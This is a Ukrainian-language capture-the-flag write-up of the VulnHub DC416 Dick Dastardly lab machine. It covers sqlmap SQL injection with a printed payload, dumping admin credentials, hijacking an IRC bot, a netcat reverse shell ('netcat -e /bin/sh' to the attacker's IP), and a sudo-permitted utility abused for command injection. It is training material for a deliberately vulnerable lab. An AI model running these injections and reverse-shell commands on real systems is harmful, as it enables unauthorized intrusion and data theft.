VulnHub: Розбір DC416 Dick Dastardly


Команда VulnHub підготувала цілу серію квестів, конференції DefCon Toronto's, скачати й випробувати які ви можете посилання.

А в цій статті буде розбір DC416 Dick Dastardly

Почнемо
Nmap, окрім портів 22 і 80 більше нічого не видав, тому переходимо до пошуку прихованих директорій:

$ sudo dirsearch -r -f -u 'http://192.168.1.68/' -e php,txt,bak,json,html -w /usr/share/dirb/wordlists/big.txt -x 403



Бачимо тут цікавий редирект на index.php. Подивимося що там:



Запускаємо sqlmap:

$ sudo sqlmap -u 'http://192.168.1.68/index.php' --data='name=asd&msg=asd' --random-agent --level=5 --risk=3 --batch

POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 6638 HTTP(s) requests:
— Parameter: name (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: name=asd'||(SELECT 'Uknw' FROM DUAL WHERE 1538=1538 AND SLEEP(5))||'&msg=asd
— [00:52:02] [INFO] the back-end СУБД is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end СУБД: MySQL >= 5.0.12
Ін'єкція є, але розкрутити sqlmap її не зміг. Переходимо до другої формі:

$ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --tables

Бачимо повідомлення, і коригуємо параметри sqlmap'а:
[13:17:56] [INFO] POST parameter 'issue' appears to be 'MySQL RLIKE boolean-based blind — WHERE, HAVING, ORDER BY or GROUP BY clause' injectable (with --string=«an»)
Після повторного запуску, sqlmap розкрутив ін'єкцію. І відобразив список таблиць.
Дампим таблицю admins

$ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --string="an" --субд=MySQL -D vulnhub --batch -T admins --dump



Знайшли пароль у відкритому вигляді і логін. Авторізуємось:



Потрапляємо в web адмінку IRC бота. Тут можна змінити власника бота. Впишу туди логін і пароль, які вдалося витягнути з БД. Далі природно натискаємо додати свій IP білий аркуш, і активувати бота.

Повторно запустимо nmap:



Коннектимся на запущений сервер IRC, бачимо привітання:



Подивимося список каналів:

/list


Нахоим там канал #vulnhub і підключаємося до нього:

/join #vulnhub


Я використовував XChat, справа в списку користувачів на каналі, можна побачити бота, якого ми запустили: vulnhub-bot. Почнемо з ним діалог:



Прапор знайдений, але це другий прапор… Десь пропустили перший. Запускаємо nikto і знаходимо перший прапор:

$ sudo nikto -host http://192.168.1.68 -C all
+ Uncommon header 'flag' found, with contents: flag1{l0l_h0w_345y_15_7h15_c7f}


Маючи шелл через IRC відкриваємо собі повноцінну консоль:

$ netcat -lvp 9999

Боту відправляємо команду:

Unix shell netcat -e /bin/sh 192.168.1.124 9999


Подивившись список процесів, я знайшов один з них, запущений від root, вкрай незвичайним:
ping -c 1 -b 192.168.1.255 -p 725f796f755f6265636f6d655f746865 2
Хм це цікаво, запустивши WireShark в ICMP пакети знаходимо flag0:

flag0{the_quieter_you_become_the_more_you_are_able_to_hear}

Залишився останній. Подивимося які привілеї доступні поточного користувача:

sudo -l

Matching Defaults entries for rasta on DickDastardly:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rasta may run the following commands on DickDastardly:
(vulnhub) NOPASSWD: /usr/bin/python /usr/local/sbin/util.py
Мабуть, це не просто так:

sudo -u vulnhub python /usr/local/sbin/util.py

Після запуску отримуємо такий інтерактивний висновок:



Не так багато функцій доступно, озирнувшись, я знайшов останній прапор:



Точніше місце, де він лежить. Я спробував вставити свою команду, і при виборі лістингу директорій, це вийшло:



Відмінно, всі зібрані прапори, нехай і не в правильному порядку!
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.